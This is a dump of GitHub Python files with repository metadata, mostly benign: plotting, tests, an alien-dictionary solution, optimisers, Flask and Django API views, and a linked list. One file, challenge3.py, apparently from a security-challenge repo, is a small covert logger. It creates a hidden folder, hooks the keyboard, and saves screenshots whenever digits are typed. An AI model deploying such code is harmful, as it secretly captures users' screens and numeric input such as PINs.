API_KEY, 'image': base64.b64encode(image.read())}\n server_data = urllib.urlencode(data_dict)\n response = urllib.urlopen(BASE_URL % 'upload', data = server_data)\n return simplejson.loads(response.read())","repo_name":"eos87/grafos","sub_path":"imgur.py","file_name":"imgur.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"10524472317","text":"#!/home/oceanw/anaconda3/bin/python3\n# coding: utf-8\nimport numpy as np\nfrom scipy.special import erf\nimport matplotlib.pyplot as plt\nx = np.arange(0.02, 2.2, 0.02);\ny = 1.471* erf(x/0.7196)\ny_wt = 1/(4.65*((100/y)-1) + 1)\ny_wt = 100*y_wt\nplt.plot(x, y_wt)\nplt.ylabel('percentage of C atoms(by weight)')\nplt.xlabel('Distance from the surface of the component(cm)')\nplt.show()\n\n","repo_name":"OceanNuclear/Python_projects","sub_path":"Various_short_specialized_Function/FNF_erf_func.py","file_name":"FNF_erf_func.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15922194120","text":"from nose.tools import assert_equal\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom ..animateboids import AnimateBoids\n\n\"\"\"\nclass AnimateBoids(object):\n def __init__(self, positions, velocities):\n self.positions = positions\n self.velocities = velocities\n\n def update_boids(self, positions, velocities):\n up_date = UpdateBoids(positions, velocities)\n up_date.to_middle()\n up_date.away_from()\n up_date.match_speed()\n up_date.move_velocities()\n\n def animate(self, frame, scatter):\n self.update_boids(self.positions, self.velocities)\n scatter.set_offsets(zip(self.positions[0], self.positions[1]))\n\n def display(self):\n figure=plt.figure()\n axes=plt.axes(xlim=(-500,1500), ylim=(-500,1500))\n scatter=axes.scatter(self.positions[0], self.positions[1])\n anim = animation.FuncAnimation(figure, self.animate, fargs=[scatter], frames=50, interval=50)\n plt.show()\n\"\"\"\n\n\"\"\"\n#code used to create positions and velocities randomly initally\n#code known to work used instead of calling a class to avoid\n#changes in that class causing an error in this testing\ndef new_flock(count, lower_limits, upper_limits):\n width=upper_limits-lower_limits\n return (lower_limits[:,np.newaxis] + np.random.rand(2, count)*width[:,np.newaxis])\n\npositions = new_flock(10, np.array([0.0, 0.0]), np.array([10.0, 10.0]))\nvelocities = new_flock(10,np.array([0.0, 0.0]), np.array([10.0, 10.0]))\n\"\"\"\npositions = np.array([[0.57060007, 4.72023739, 9.2721358, 7.93680601, 4.28602204, 5.48081302, 3.96498288, 1.73486068,9.99097606, 1.96189901], [ 9.49748595, 4.9919118, 7.68153802, 4.31255511, 4.12122648, 7.45132605, 0.33013738, 8.77902153, 3.30667064, 4.1014684]])\n\nvelocities = np.array([[2.68064552, 0.9713136, 7.00683802, 2.2028798, 9.41221644, 2.03085767, 6.35253961,8.30404115, 4.96033289, 3.06305922], [1.62756439, 9.19521275, 4.6318786, 3.51823417, 6.0947243, 2.31391316, 5.18996174, 1.06550607, 0.70059282, 8.19460193]])\n\n\nab = AnimateBoids(positions, velocities)\n\ndef test_update_boid():\n #simple test to isolate update_boids and test it with pre-defined working inputs to look for failure\n ub = ab.update_boids(positions, velocities)\n assert_equal(ub, None)\n\ntest_update_boid()\n\n\naxes=plt.axes(xlim=(-500,1500), ylim=(-500,1500))\nscatter=axes.scatter(positions[0], positions[1])\n\ndef test_animate(scatter):\n #simple test to isolate animate and test it with pre-defined working inputs to look for failure\n a = ab.animate(1,scatter)\n assert_equal(a, None)\n\ntest_animate(scatter)\n\n\ndef test_display():\n #simple test to isolate display and test it with pre-defined working inputs to look for failure\n #will (if working) display two plots this is not a issue just caused by the method that its being called by\n d = ab.display()\n assert_equal(d, None)\n\n\ntest_display()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lcarlossandberg/Bad_Boids","sub_path":"Boids/test/test_animateboids.py","file_name":"test_animateboids.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41219126286","text":"\"\"\"\nThere is a new alien language that uses the English alphabet. However, the order of the letters is unknown to you.\n\nYou are given a list of strings words from the alien language's dictionary. Now it is claimed that the strings in words are \nsorted lexicographically by the rules of this new language.\n\nIf this claim is incorrect, and the given arrangement of string in words cannot correspond to any order of letters, return \"\".\n\nOtherwise, return a string of the unique letters in the new alien language sorted in lexicographically increasing order by the new language's rules. If there are multiple solutions, return any of them.\n\nExample 1:\nInput: words = [\"wrt\",\"wrf\",\"er\",\"ett\",\"rftt\"]\nOutput: \"wertf\"\n\"\"\"\nfrom collections import defaultdict, deque\n\n\nclass Solution(object):\n def alienOrder(self, words):\n \"\"\"\n :type words: List[str]\n :rtype: str\n \"\"\"\n graph = defaultdict(list)\n indegree = {}\n\n # initialize indegree for all chars\n for word in words:\n for char in word:\n indegree[char] = 0\n\n # build graph and update indegree\n for i in range(len(words)-1):\n word1, word2 = words[i], words[i+1]\n min_len = min(len(word1), len(word2))\n if len(word1) != len(word2) and min_len == len(word2) and word1[0:min_len] == word2:\n return \"\"\n\n for j in range(min_len):\n if word1[j] != word2[j]:\n graph[word1[j]].append(word2[j])\n indegree[word2[j]] += 1\n break\n\n # initialize the queue with chars that have 0 indegree\n queue = deque([char for char in indegree if indegree[char] == 0])\n res = []\n\n # perform the topological sort\n while queue:\n char = queue.popleft()\n res.append(char)\n \n for neighbor in graph[char]:\n indegree[neighbor] -= 1\n if indegree[neighbor] == 0:\n queue.append(neighbor)\n \n # check if all chars are included in the result\n if len(res) != len(indegree):\n return \"\"\n \n return ''.join(res)","repo_name":"BrianQJN/Daily-Leecode-Prac","sub_path":"Advanced Graph/269_Alien_Dictionary.py","file_name":"269_Alien_Dictionary.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"45060879208","text":"import keyboard\nimport os\nimport ctypes\nimport pyautogui\n\n\nfile_number = 0\nshot_pressed = 0\n\n\ndef check_prep(path):\n if not os.path.exists(path):\n os.makedirs(path)\n FILE_ATTRIBUTE_HIDDEN = 0x02\n ret = ctypes.windll.kernel32.SetFileAttributesW(path, FILE_ATTRIBUTE_HIDDEN)\n\n\ni = 1\npath = \".hidden_folder\"\ncheck_prep(path)\n\n\ndef save_file(num):\n im = pyautogui.screenshot()\n name_file = path + \"/\" + str(num) + \".png\"\n num += 1\n print(name_file)\n im.save(name_file)\n\n\ndef on_press_reaction(event):\n global shot_pressed\n global i\n global file_number\n if event.name.isdigit():\n shot_pressed += 1\n if i == 3:\n print(\"prova\")\n save_file(file_number)\n file_number += 1\n i = 0\n i += 1\n\n\nkeyboard.on_press(on_press_reaction)\n\nwhile True:\n pass\n\n\n","repo_name":"alexnicco98/Sfide-DSS","sub_path":"challenge3.py","file_name":"challenge3.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27921969306","text":"from mortgage_calc.simulation import RateOverPeriod, amortize_multi\n\n\nclass Test_simulate:\n def test_trivial(self) -> None:\n mortgage = 300_000\n months_total = 25 * 12\n rate_annual_percent = 5\n\n schedule1 = amortize_multi(\n mortgage, months_total, [RateOverPeriod(rate_annual_percent, 36)]\n )\n\n schedule2 = amortize_multi(\n mortgage,\n months_total,\n [RateOverPeriod(rate_annual_percent, 12)] * 3,\n )\n\n for i in range(months_total):\n try:\n assert schedule1[i].rounded() == schedule2[i].rounded()\n except AssertionError as ex:\n raise AssertionError(f\"Failed on {i}\\n{ex}\") from None\n","repo_name":"selimb/mortgage-calc","sub_path":"mortgage_calc/test_simulation.py","file_name":"test_simulation.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70267590801","text":"import numpy as np\r\nimport random\r\n\r\ndef indexCalcuation(cloads ,cix ):\r\n return np.sum( cloads*cix);\r\n\r\ndef CalculationCost(ccix, tix):\r\n return abs(ccix-tix)\r\n\r\ndef Limit_Control(x_,mx,ttl):\r\n x_ttl = np.sum(x_)\r\n rmng = 0\r\n rmngmul = np.zeros(len(x_))\r\n\r\n for i in range(len(x_)):\r\n x_[i] = ttl * (x_[i]/x_ttl)\r\n\r\n for i in range(len(x_)):\r\n if x_[i]>mx[i] :\r\n rmng = rmng + (x_[i]-mx[i])\r\n x_[i] = mx[i]\r\n rmngmul[i] = mx[i]-x_[i]\r\n\r\n for i in range(len(x_)):\r\n x_[i] = x_[i] + (rmng * (rmngmul[i] / np.sum(rmngmul)))\r\n\r\n return x_\r\n\r\ndef PSO_Optm(Remaining_Load,TargetIndex,CargoIndex,CargoUB,CargoLB):\r\n\r\n m = len(CargoIndex)\r\n n = 4\r\n wmax = 0.9\r\n wmin = 0.4\r\n c1 = 2\r\n c2 = 2\r\n\r\n x0 = np.zeros((n, m))\r\n x = np.zeros((n, m))\r\n\r\n maxiter = 2000\r\n AccpErr = 0.005\r\n\r\n for i in range(n):\r\n for j in range(m):\r\n x0[i, j] = CargoLB[j] + (random.random() * (CargoUB[j] - CargoLB[j]))\r\n\r\n x0[i, :] = Limit_Control(x0[i, :], CargoUB, Remaining_Load)\r\n\r\n x = np.copy(x0);\r\n v = 0.1 * np.copy(x0)\r\n\r\n t_cal0 = np.zeros((n, 2))\r\n\r\n for i in range(n):\r\n t_cal0[i, 0] = indexCalcuation(x0[i, :], CargoIndex)\r\n t_cal0[i, 1] = CalculationCost(t_cal0[i, 0], TargetIndex)\r\n\r\n index0 = np.argmin(t_cal0[:, 1], axis=0)\r\n fmin0 = t_cal0[index0, 1]\r\n\r\n pbest = np.copy(x0)\r\n gbest = np.copy(x0[index0, :])\r\n\r\n C_iter = 1\r\n C_tol = 1\r\n\r\n while (C_iter <= maxiter) and (C_tol > AccpErr):\r\n\r\n w = wmax - (wmax - wmin) * C_iter / maxiter\r\n\r\n for i in range(n):\r\n for j in range(m):\r\n v[i, j] = w * v[i, j] + c1 * random.random() * (pbest[i, j] - x[i, j]) \\\r\n + c2 * random.random() * (gbest[j] - x[i, j])\r\n\r\n for i in range(n):\r\n for j in range(m):\r\n x[i, j] = x[i, j] + v[i, j]\r\n\r\n for i in range(n):\r\n for j in range(m):\r\n if x[i, j] < CargoLB[j]:\r\n x[i, j] = CargoLB[j]\r\n elif x[i, j] > CargoUB[j]:\r\n x[i, j] = CargoUB[j]\r\n x[i, :] = Limit_Control(x[i, :], CargoUB, Remaining_Load);\r\n\r\n t_cal1 = np.zeros((n, 2))\r\n\r\n for i in range(n):\r\n t_cal1[i, 0] = indexCalcuation(x[i, :], CargoIndex)\r\n t_cal1[i, 1] = CalculationCost(t_cal1[i, 0], TargetIndex)\r\n\r\n # print(t_cal0)\r\n for i in range(n):\r\n if t_cal1[i, 1] < t_cal0[i, 1]:\r\n pbest[i, :] = np.copy(x[i, :])\r\n t_cal0[i, :] = np.copy(t_cal1[i, :])\r\n # print(t_cal0)\r\n\r\n index = np.argmin(t_cal0[:, 1], axis=0)\r\n fmin = t_cal0[index0, 1]\r\n\r\n if fmin < fmin0:\r\n gbest = np.copy(pbest[index, :])\r\n fmin0 = fmin\r\n\r\n t_indx = indexCalcuation(gbest, CargoIndex)\r\n C_tol = CalculationCost(t_indx, TargetIndex)\r\n C_iter = C_iter + 1\r\n\r\n return gbest\r\n","repo_name":"YavuzUser/AirBus1","sub_path":"PYTHON_PsoFunc.py","file_name":"PYTHON_PsoFunc.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21676389102","text":"from app.config.db import get_string_conexao\nfrom app.config.db import error\n\nclass Produto():\n def __init__(self):\n self.id = 0\n self.nome = \"notebook samsung\"\n self.descricao = \"eletro\"\n self.preco = 5000.00\n\n def salvar(self):\n try:\n connection = get_string_conexao()\n if connection.is_connected():\n cursor = connection.cursor()\n sql = \"INSERT INTO produtos (nome, descricao, preco)\" + \"VALUES (%s, %s, %s)\" if self.id == 0 else f\"UPDATE produtos SET nome = %s, descricao = %s, preco = %s WHERE id = {self.id}\"\n valores = (self.nome, self.descricao, self.preco)\n cursor.execute(sql, valores)\n connection.commit()\n return {\"msg\": f\"produto {'cadastrado' if id == 0 else 'atualizado'} com sucesso...\", \"error\": False}\n\n except error as e:\n print(e)\n return {\"error\": True, \"msg\": e}\n finally:\n if connection.is_connected():\n cursor.close()\n connection.close()\n \n @staticmethod \n def buscar_por_id(self):\n try:\n connection = get_string_conexao()\n if connection.is_connected():\n cursor = connection.cursor()\n sql = f\"SELECT * FROM produtos WHERE id = {self.id}\"\n cursor.execute(sql)\n data = cursor.fetchall()\n return {\"error\": False, \"data\": data}\n\n except error as e:\n return {\"error\": True, \"msg\": e}\n finally:\n if connection.is_connected():\n cursor.close()\n connection.close() \n\n def excluir(self):\n try:\n connection = get_string_conexao()\n if connection.is_connected():\n cursor = connection.cursor()\n sql = f\"DELETE FROM produtos WHERE id = {self.id}\"\n cursor.execute(sql)\n connection.commit()\n return {\"msg\": \"produto deletado com sucesso...\", \"error\": False}\n\n except error as e:\n return {\"error\": True, \"msg\": e}\n finally:\n if connection.is_connected():\n cursor.close()\n connection.close()\n","repo_name":"Jo-Analyst/Codigo-de-estudos","sub_path":"python/Desafio-python16/app/model/produto.py","file_name":"produto.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"44882793302","text":"import csv\nimport datetime\n\nclass RegionalPollInterpolator(object):\n \"\"\"Routines for interpolating a series of poll data.\"\"\"\n\n def __init__(self):\n self.series_by_region_then_party = dict()\n\n def LoadFromCsv(self, csv_filename):\n \"\"\"Adds data from a csv file. Can be called multiple times.\"\"\"\n with open(csv_filename) as csv_file:\n csv_reader = csv.reader(csv_file)\n for row in csv_reader:\n date_string = row[0]\n date = datetime.datetime.strptime(date_string, '%Y-%m-%d')\n region = row[1]\n party = row[2]\n value = float(row[3])\n if region not in self.series_by_region_then_party:\n self.series_by_region_then_party[region] = dict()\n series_by_party = self.series_by_region_then_party[region]\n if party not in series_by_party:\n series_by_party[party] = []\n series = series_by_party[party]\n series.append((date, value))\n series.sort()\n\n def Interpolate(self, region, party, date):\n \"\"\"Interpolate the loaded poll data.\"\"\"\n try:\n series = self.series_by_region_then_party[region][party]\n except:\n return 0\n for i in range(len(series) - 1):\n lo = series[i][0]\n hi = series[i + 1][0]\n if date >= lo and date <= hi:\n interval = (hi - lo).total_seconds()\n partial = (date - lo).total_seconds()\n mix = float(partial) / interval\n begin_value = series[i][1]\n end_value = series[i + 1][1]\n return (1 - mix) * begin_value + mix * end_value\n return 0\n\n def GetMostRecent(self, region, party):\n \"\"\"Returns the most recent data point for a region and party.\"\"\"\n try:\n return self.series_by_region_then_party[region][party][-1][1]\n except:\n return 0\n\n def UniformSwingProjection(self, region, begin_date, begin_vector):\n \"\"\"Projects forward a vector of popular votes.\"\"\"\n projection = {}\n for party in begin_vector:\n old_poll = self.Interpolate(region, party, begin_date)\n new_poll = self.GetMostRecent(region, party)\n projection[party] = begin_vector[party] + new_poll - old_poll\n return projection\n\n def ProportionalSwingProjection(self, region, begin_poll):\n \"\"\"Projects forward a vector of popular votes.\"\"\"\n end_poll = begin_poll.Copy()\n for party, support in begin_poll.party_support.items():\n old_poll = self.Interpolate(region, party, begin_poll.date)\n new_poll = self.GetMostRecent(region, party)\n if old_poll > 2: # As in 2% not 200%.\n gain = new_poll / old_poll\n else:\n gain = 1\n end_poll.party_support[party] = support * gain\n end_poll.NormalizeInPlace()\n return end_poll\n","repo_name":"j3camero/canada-election-forecast","sub_path":"regional_poll_interpolator.py","file_name":"regional_poll_interpolator.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"3"} +{"seq_id":"27962959611","text":"from flask import request, jsonify,abort\nfrom app import app, db\nfrom app.common.db.tables import Job, Applicant\n\n\n@app.route('/applicant/', methods=['POST'])\ndef applicante_send():\n\n if not request.json:\n abort(400)\n\n for r in ['name','email','id_job']:\n if r not in request.json:\n return abort(400)\n\n data = {\n 'name': request.json['name'],\n 'email': request.json['email'],\n 'message': request.json['message'],\n 'id_job': request.json['id_job'],\n }\n\n if Job.query.filter_by(id=data['id_job']).first():\n try:\n applic = Applicant(data['name'],data['email'],data['id_job'],data['message'])\n db.session.add(applic)\n db.session.commit()\n resp = {\n 'message':'Success Applicant'\n }\n return jsonify(resp), 200\n except Exception as e:\n return e\n else:\n resp = {\n 'message': 'Job not found'\n }\n return jsonify(resp), 400","repo_name":"tiagovizoto/QualquerCoisaAPI","sub_path":"app/resources/applicant.py","file_name":"applicant.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"17482496255","text":"from django import http\n\nimport commonware\nimport requests\nfrom rest_framework.exceptions import ParseError\nfrom rest_framework.generics import ListAPIView\nfrom rest_framework.permissions import AllowAny, BasePermission\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nimport mkt\nfrom lib.metrics import get_monolith_client\nfrom mkt.api.authentication import (RestOAuthAuthentication,\n RestSharedSecretAuthentication)\nfrom mkt.api.base import CORSMixin, SlugOrIdMixin\nfrom mkt.api.exceptions import ServiceUnavailable\nfrom mkt.api.permissions import AllowAppOwner, AnyOf, GroupPermission\nfrom mkt.purchase.models import Contribution\nfrom mkt.webapps.models import Webapp\n\nfrom .forms import StatsForm\n\n\nlog = commonware.log.getLogger('z.stats')\n\n\nclass PublicStats(BasePermission):\n \"\"\"\n Allow for app's with `public_stats` set to True.\n \"\"\"\n\n def has_permission(self, request, view):\n # Anonymous is allowed if app.public_stats is True.\n return True\n\n def has_object_permission(self, request, view, obj):\n return obj.public_stats\n\n\n# Map of URL metric name to monolith metric name.\n#\n# The 'dimensions' key is optional query string arguments with defaults that is\n# passed to the monolith client and used in the facet filters. If the default\n# is `None`, the dimension is excluded unless specified via the API.\n#\n# The 'lines' key is optional and used for multi-line charts. The format is:\n# {'': {'': ''}}\n# where is what's returned in the JSON output and the dimension\n# key/value is what's sent to Monolith similar to the 'dimensions' above.\n#\n# The 'coerce' key is optional and used to coerce data types returned from\n# monolith to other types. Provide the name of the key in the data you want to\n# coerce with a callback for how you want the data coerced. E.g.:\n# {'count': str}\ndef lines(name, vals):\n return dict((val, {name: val}) for val in vals)\n\n\nSTATS = {\n 'apps_added_by_package': {\n 'metric': 'apps_added_package_count',\n 'dimensions': {'region': 'us'},\n 'lines': lines('package_type', mkt.ADDON_WEBAPP_TYPES.values()),\n },\n 'apps_added_by_premium': {\n 'metric': 'apps_added_premium_count',\n 'dimensions': {'region': 'us'},\n 'lines': lines('premium_type', mkt.ADDON_PREMIUM_API.values()),\n },\n 'apps_available_by_package': {\n 'metric': 'apps_available_package_count',\n 'dimensions': {'region': 'us'},\n 'lines': lines('package_type', mkt.ADDON_WEBAPP_TYPES.values()),\n },\n 'apps_available_by_premium': {\n 'metric': 'apps_available_premium_count',\n 'dimensions': {'region': 'us'},\n 'lines': lines('premium_type', mkt.ADDON_PREMIUM_API.values()),\n },\n 'apps_installed': {\n 'metric': 'app_installs',\n 'dimensions': {'region': None},\n },\n 'total_developers': {\n 'metric': 'total_dev_count',\n },\n 'total_visits': {\n 'metric': 'visits',\n },\n 'ratings': {\n 'metric': 'apps_ratings',\n },\n 'abuse_reports': {\n 'metric': 'apps_abuse_reports',\n },\n 'revenue': {\n 'metric': 'gross_revenue',\n # Counts are floats. Let's convert them to strings with 2 decimals.\n 'coerce': {'count': lambda d: '{0:.2f}'.format(d)},\n },\n}\nAPP_STATS = {\n 'installs': {\n 'metric': 'app_installs',\n 'dimensions': {'region': None},\n },\n 'visits': {\n 'metric': 'app_visits',\n },\n 'ratings': {\n 'metric': 'apps_ratings',\n },\n 'average_rating': {\n 'metric': 'apps_average_rating',\n },\n 'abuse_reports': {\n 'metric': 'apps_abuse_reports',\n },\n 'revenue': {\n 'metric': 'gross_revenue',\n # Counts are floats. Let's convert them to strings with 2 decimals.\n 'coerce': {'count': lambda d: '{0:.2f}'.format(d)},\n },\n}\n# The total API will iterate over each key and return statistical totals\n# information on them all.\nSTATS_TOTAL = {\n 'installs': {\n 'metric': 'app_installs',\n },\n 'ratings': {\n 'metric': 'apps_ratings',\n },\n 'abuse_reports': {\n 'metric': 'apps_abuse_reports',\n },\n}\nAPP_STATS_TOTAL = {\n 'installs': {\n 'metric': 'app_installs',\n },\n 'ratings': {\n 'metric': 'apps_ratings',\n },\n 'abuse_reports': {\n 'metric': 'apps_abuse_reports',\n },\n}\n\n\ndef _get_monolith_data(stat, start, end, interval, dimensions):\n # If stat has a 'lines' attribute, it's a multi-line graph. Do a\n # request for each item in 'lines' and compose them in a single\n # response.\n try:\n client = get_monolith_client()\n except requests.ConnectionError as e:\n log.info('Monolith connection error: {0}'.format(e))\n raise ServiceUnavailable\n\n def _coerce(data):\n for key, coerce in stat.get('coerce', {}).items():\n if data.get(key):\n data[key] = coerce(data[key])\n\n return data\n\n try:\n data = {}\n if 'lines' in stat:\n for line_name, line_dimension in stat['lines'].items():\n dimensions.update(line_dimension)\n data[line_name] = map(_coerce,\n client(stat['metric'], start, end,\n interval, **dimensions))\n\n else:\n data['objects'] = map(_coerce,\n client(stat['metric'], start, end, interval,\n **dimensions))\n\n except ValueError as e:\n # This occurs if monolith doesn't have our metric and we get an\n # elasticsearch SearchPhaseExecutionException error.\n log.info('Monolith ValueError for metric {0}: {1}'.format(\n stat['metric'], e))\n raise ParseError('Invalid metric at this time. Try again later.')\n\n return data\n\n\nclass GlobalStats(CORSMixin, APIView):\n authentication_classes = (RestOAuthAuthentication,\n RestSharedSecretAuthentication)\n cors_allowed_methods = ['get']\n permission_classes = [AllowAny]\n\n def get(self, request, metric):\n if metric not in STATS:\n raise http.Http404('No metric by that name.')\n\n stat = STATS[metric]\n\n # Perform form validation.\n form = StatsForm(request.GET)\n if not form.is_valid():\n exc = ParseError()\n exc.detail = {'detail': dict(form.errors.items())}\n raise exc\n\n qs = form.cleaned_data\n\n dimensions = {}\n if 'dimensions' in stat:\n for key, default in stat['dimensions'].items():\n val = request.GET.get(key, default)\n if val is not None:\n # Avoid passing kwargs to the monolith client when the\n # dimension is None to avoid facet filters being applied.\n dimensions[key] = request.GET.get(key, default)\n\n return Response(_get_monolith_data(stat, qs.get('start'),\n qs.get('end'), qs.get('interval'),\n dimensions))\n\n\nclass AppStats(CORSMixin, SlugOrIdMixin, ListAPIView):\n authentication_classes = (RestOAuthAuthentication,\n RestSharedSecretAuthentication)\n cors_allowed_methods = ['get']\n permission_classes = [AnyOf(PublicStats, AllowAppOwner,\n GroupPermission('Stats', 'View'))]\n queryset = Webapp.objects.all()\n slug_field = 'app_slug'\n\n def get(self, request, pk, metric):\n if metric not in APP_STATS:\n raise http.Http404('No metric by that name.')\n\n app = self.get_object()\n\n stat = APP_STATS[metric]\n\n # Perform form validation.\n form = StatsForm(request.GET)\n if not form.is_valid():\n exc = ParseError()\n exc.detail = {'detail': dict(form.errors.items())}\n raise exc\n\n qs = form.cleaned_data\n\n dimensions = {'app-id': app.id}\n\n if 'dimensions' in stat:\n for key, default in stat['dimensions'].items():\n val = request.GET.get(key, default)\n if val is not None:\n # Avoid passing kwargs to the monolith client when the\n # dimension is None to avoid facet filters being applied.\n dimensions[key] = request.GET.get(key, default)\n\n return Response(_get_monolith_data(stat, qs.get('start'),\n qs.get('end'), qs.get('interval'),\n dimensions))\n\n\nclass StatsTotalBase(object):\n \"\"\"\n A place for a few helper methods for totals stats API.\n \"\"\"\n def get_client(self):\n try:\n client = get_monolith_client()\n except requests.ConnectionError as e:\n log.info('Monolith connection error: {0}'.format(e))\n raise ServiceUnavailable\n return client\n\n def get_query(self, metric, field, app_id=None):\n query = {\n 'query': {\n 'match_all': {}\n },\n 'facets': {\n metric: {\n 'statistical': {\n 'field': field\n }\n }\n },\n 'size': 0\n }\n\n # If this is per-app, add the facet_filter.\n if app_id:\n query['facets'][metric]['facet_filter'] = {\n 'term': {\n 'app-id': app_id\n }\n }\n\n return query\n\n def process_response(self, resp, data):\n for metric, facet in resp.get('facets', {}).items():\n count = facet.get('count', 0)\n\n # We filter out facets with count=0 to avoid returning things\n # like `'max': u'-Infinity'`.\n if count > 0:\n for field in ('max', 'mean', 'min', 'std_deviation',\n 'sum_of_squares', 'total', 'variance'):\n value = facet.get(field)\n if value is not None:\n data[metric][field] = value\n\n\nclass GlobalStatsTotal(CORSMixin, APIView, StatsTotalBase):\n authentication_classes = (RestOAuthAuthentication,\n RestSharedSecretAuthentication)\n cors_allowed_methods = ['get']\n permission_classes = [AllowAny]\n slug_field = 'app_slug'\n\n def get(self, request):\n client = self.get_client()\n\n # Note: We have to do this as separate requests so that if one fails\n # the rest can still be returned.\n data = {}\n for metric, stat in STATS_TOTAL.items():\n data[metric] = {}\n query = self.get_query(metric, stat['metric'])\n\n try:\n resp = client.raw(query)\n except ValueError as e:\n log.info('Received value error from monolith client: %s' % e)\n continue\n\n self.process_response(resp, data)\n\n return Response(data)\n\n\nclass AppStatsTotal(CORSMixin, SlugOrIdMixin, ListAPIView, StatsTotalBase):\n authentication_classes = (RestOAuthAuthentication,\n RestSharedSecretAuthentication)\n cors_allowed_methods = ['get']\n permission_classes = [AnyOf(PublicStats, AllowAppOwner,\n GroupPermission('Stats', 'View'))]\n queryset = Webapp.objects.all()\n slug_field = 'app_slug'\n\n def get(self, request, pk):\n app = self.get_object()\n client = self.get_client()\n\n # Note: We have to do this as separate requests so that if one fails\n # the rest can still be returned.\n data = {}\n for metric, stat in APP_STATS_TOTAL.items():\n data[metric] = {}\n query = self.get_query(metric, stat['metric'], app.id)\n\n try:\n resp = client.raw(query)\n except ValueError as e:\n log.info('Received value error from monolith client: %s' % e)\n continue\n\n self.process_response(resp, data)\n\n return Response(data)\n\n\nclass TransactionAPI(CORSMixin, APIView):\n \"\"\"\n API to query by transaction ID.\n\n Note: This is intended for Monolith to be able to associate a Solitude\n transaction with an app and price tier amount in USD.\n\n \"\"\"\n authentication_classes = (RestOAuthAuthentication,\n RestSharedSecretAuthentication)\n cors_allowed_methods = ['get']\n permission_classes = [GroupPermission('RevenueStats', 'View')]\n\n def get(self, request, transaction_id):\n try:\n contrib = (Contribution.objects.select_related('price_tier').\n get(transaction_id=transaction_id))\n except Contribution.DoesNotExist:\n raise http.Http404('No transaction by that ID.')\n\n data = {\n 'id': transaction_id,\n 'app_id': contrib.addon_id,\n 'amount_USD': unicode(contrib.price_tier.price),\n 'type': mkt.CONTRIB_TYPES[contrib.type],\n }\n\n return Response(data)\n","repo_name":"mozilla/zamboni","sub_path":"mkt/stats/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13229,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"} +{"seq_id":"12569862159","text":"# 结点\nclass Node():\n def __init__(self, data):\n self.data = data\n self.next = None\n\n# 链表\nclass SingleLink():\n def __init__(self, node=None):\n self._head = node\n\n '''\n 判空\n '''\n def is_empty(self):\n return self._head==None\n\n '''\n 长度\n '''\n def lenth(self):\n cur = self._head\n count = 0\n while cur:\n count += 1\n cur = cur.next\n return count\n\n '''\n 遍历\n '''\n def travel(self):\n cur = self._head\n while cur:\n print(cur.data, end=' ')\n cur = cur.next\n print()\n\n '''\n 头插法\n '''\n def add(self, item):\n node = Node(item)\n node.next = self._head\n self._head = node\n \n '''\n 尾插法\n '''\n def append(self, item):\n cur = self._head\n if cur == None:\n self._head = Node(item)\n return\n while cur.next:\n cur = cur.next\n cur.next = Node(item)\n \n '''\n 直插法\n '''\n def insert(self, pos, item):\n if pos > self.lenth() or pos < 0:\n print(\"下标错误\")\n elif pos == 0:\n self.add(item)\n else:\n cur = self._head\n for i in range(pos-1):\n cur = cur.next\n node = Node(item)\n node.next = cur.next\n cur.next = node\n\n '''\n 移除\n '''\n def remove(self, item):\n cur = self._head\n if cur == None:\n return\n # 删除首结点\n elif cur.data == item:\n self._head = cur.next\n return\n while cur.next:\n if cur.next.data == item:\n cur.next = cur.next.next\n return\n cur = cur.next\n\n '''\n 是否存在\n '''\n def search(self, item):\n cur = self._head\n while cur:\n if cur.data == item:\n return True\n cur = cur.next\n return False\n\nif __name__ == '__main__':\n ll = SingleLink()\n print(ll.is_empty())\n print(ll.lenth())\n\n ll.append(666)\n ll.append(999)\n ll.append(9)\n ll.add(1)\n ll.insert(0,0)\n ll.insert(5,5)\n\n print(\"+++++++++++\")\n print(ll.lenth())\n ll.travel()\n ll.remove(5)\n ll.travel()\n print(ll.search(9))","repo_name":"boA01/boA01.github.windows","sub_path":"python基础/数据结构与算法/线性表/single_link_list.py","file_name":"single_link_list.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34102182431","text":"import pandas as pd\nfrom sklearn import preprocessing\nfrom collections import deque\nimport numpy as np\nimport random\nimport time\nimport tensorflow as tf\n\nEPOCHS = 10\nBATCH_SZIE =64\nSEQ_LEN = 60\nFUTURE_PERIOD_PREDICT = 3\nRATIO_TO_PREDICT = 'LTC-USD'\nMODEL_NAME = f'{SEQ_LEN}-SEQ-{FUTURE_PERIOD_PREDICT}-PRED-{int(time.time())}'\n\n\ndef classify(current, future):\n if float(future)> float(current):\n return 1\n else:\n return 0\n\n\ndef preprocess_df(df):\n df = df.drop('future', 1)\n\n for 